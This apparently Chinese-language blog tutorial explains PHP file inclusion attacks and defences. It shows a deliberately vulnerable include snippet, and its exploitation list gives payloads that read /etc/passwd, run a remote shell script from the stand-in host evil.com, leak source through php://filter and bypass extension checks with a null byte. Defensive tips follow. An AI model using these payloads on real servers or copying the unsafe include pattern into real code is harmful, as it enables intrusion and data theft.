深入解析PHP文件包含攻击原理

文件包含(File Inclusion)在 PHP 应用中常被当作便利的模块化手段,却也隐藏着最直接的代码执行入口。一次看似无害的 include,如果把外部输入直接拼接进去,攻击者便能把自己准备的脚本注入到服务器的执行流中。

攻击路径剖析

典型的漏洞代码往往长这样:

<?php
$user = $_GET['user'];
$file = $_GET['file'];
if ($user === 'admin') {
    include $file; // ← 直接使用用户可控参数
}
?>

$user 满足 “admin” 时,include 就会把 $file 指向的任意文件拉进来。若服务器开启了 allow_url_include,甚至可以把远程 URL 当作本地文件读取,形成远程文件包含(RFI)。

攻击原理深度解读

PHP 在处理 include/require 时,会先解析路径字符串,再根据 include_pathopen_basedir 的限制决定实际读取哪个文件。若路径中出现 php://inputdata:// 或者 php://filter 等包装协议,攻击者可以将请求体、Base64 编码或压缩后的恶意代码直接喂给解释器。更隐蔽的做法是利用 ..(目录遍历)和 %00(空字节)绕过后缀检查,迫使解释器加载原本不在公开目录的配置文件或日志。

常见利用手法

  • 本地文件包含(LFI):file=../../../../etc/passwd 读取系统密码文件。
  • 远程文件包含(RFI):file=http://evil.com/shell.php 将外部 PHP 脚本直接执行。
  • 包装协议注入:file=php://filter/convert.base64-encode/resource=index.php 以 Base64 形式泄露源码。
  • 空字节终止:file=../../config.php%00.jpg 绕过扩展名检查。

防御要点

  • 严格白名单:仅允许预定义的模块名或相对路径,拒绝任何包含 ../://%00 的字符。
  • 禁用远程包含:在 php.ini 中将 allow_url_fopenallow_url_include 均设为 Off
  • 使用 require_once 配合固定路径常量,避免拼接用户输入。
  • 开启 open_basedir 将文件访问限制在业务目录内。
  • 审计代码时关注所有 include/requirefile_get_contentsreadfile 系列函数的参数来源。

真正的安全往往藏在细枝末节里,哪怕是一行看似无害的字符串拼接,也可能成为攻击者打开后门的钥匙。

参与讨论

0 条评论

    暂无评论,快来发表你的观点吧!